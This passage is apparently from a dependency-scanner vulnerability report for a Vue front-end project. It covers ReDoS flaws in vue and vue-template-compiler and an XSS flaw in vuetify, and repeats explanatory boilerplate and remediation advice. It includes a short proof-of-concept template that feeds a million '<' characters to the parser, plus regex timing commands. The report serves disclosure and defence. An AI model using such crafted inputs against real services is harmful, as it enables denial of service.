Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade @vue/compiler-sfc to version 3.0.0-alpha.0 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: vue
  • Introduced through: vue@2.7.16

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 vue@2.7.16
    Remediation: Upgrade to vue@3.0.0.

Overview

vue is an open source project with its ongoing development made possible entirely by the support of these awesome backers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the parseHTML function in html-parser.ts. An attacker can cause the application to consume excessive resources by supplying a specially crafted input that triggers inefficient regular expression evaluation.

PoC

Within Vue 2 client-side application code, create a new Vue instance with a template string that includes a <script> node tag that has a different closing tag (in this case </textarea>).

new Vue({
  el: '#app',
  template: '
<div> 
   Hello, world!
   <script>${'<'.repeat(1000000)}</textarea>
</div>'
});

Set up an index.html file that loads the above JavaScript and then mount the newly created Vue instance with mount().

<!DOCTYPE html>
<html>
<head>
  <title>My first Vue app</title>
</head>
<body>
  <div id="app">
    Loading..
  </div>
</body>
</html>

In a browser, visit your Vue application

http://localhost:3000

In the browser, observe how the ReDoS vulnerability is able to increase the amount of time it takes for the page to parse the template and mount your Vue application. This demonstrates the ReDoS vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade vue to version 3.0.0-alpha.0 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: vue-template-compiler
  • Introduced through: @vuese/cli@2.14.3

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 @vuese/parser@2.10.3 vue-template-compiler@2.7.16

Overview

vue-template-compiler is a template compiler for Vue 2.0

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the parseHTML function in html-parser.ts. An attacker can cause the application to consume excessive resources by supplying a specially crafted input that triggers inefficient regular expression evaluation.

PoC

Within Vue 2 client-side application code, create a new Vue instance with a template string that includes a <script> node tag that has a different closing tag (in this case </textarea>).

new Vue({
  el: '#app',
  template: '
<div> 
   Hello, world!
   <script>${'<'.repeat(1000000)}</textarea>
</div>'
});

Set up an index.html file that loads the above JavaScript and then mount the newly created Vue instance with mount().

<!DOCTYPE html>
<html>
<head>
  <title>My first Vue app</title>
</head>
<body>
  <div id="app">
    Loading..
  </div>
</body>
</html>

In a browser, visit your Vue application

http://localhost:3000

In the browser, observe how the ReDoS vulnerability is able to increase the amount of time it takes for the page to parse the template and mount your Vue application. This demonstrates the ReDoS vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for vue-template-compiler.

References

low severity

Cross-site Scripting (XSS)

  • Vulnerable module: vuetify
  • Introduced through: vuetify@2.7.2

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 vuetify@2.7.2
    Remediation: Upgrade to vuetify@3.0.0.

Overview

vuetify is an a Material Design component framework for Vue.js.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to the improper neutralization of input in the eventMoreText property of the VCalendar component. An attacker can execute arbitrary script code in the context of the user's browser session by inserting malicious HTML or JavaScript code into this property.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade vuetify to version 3.0.0 or higher.

References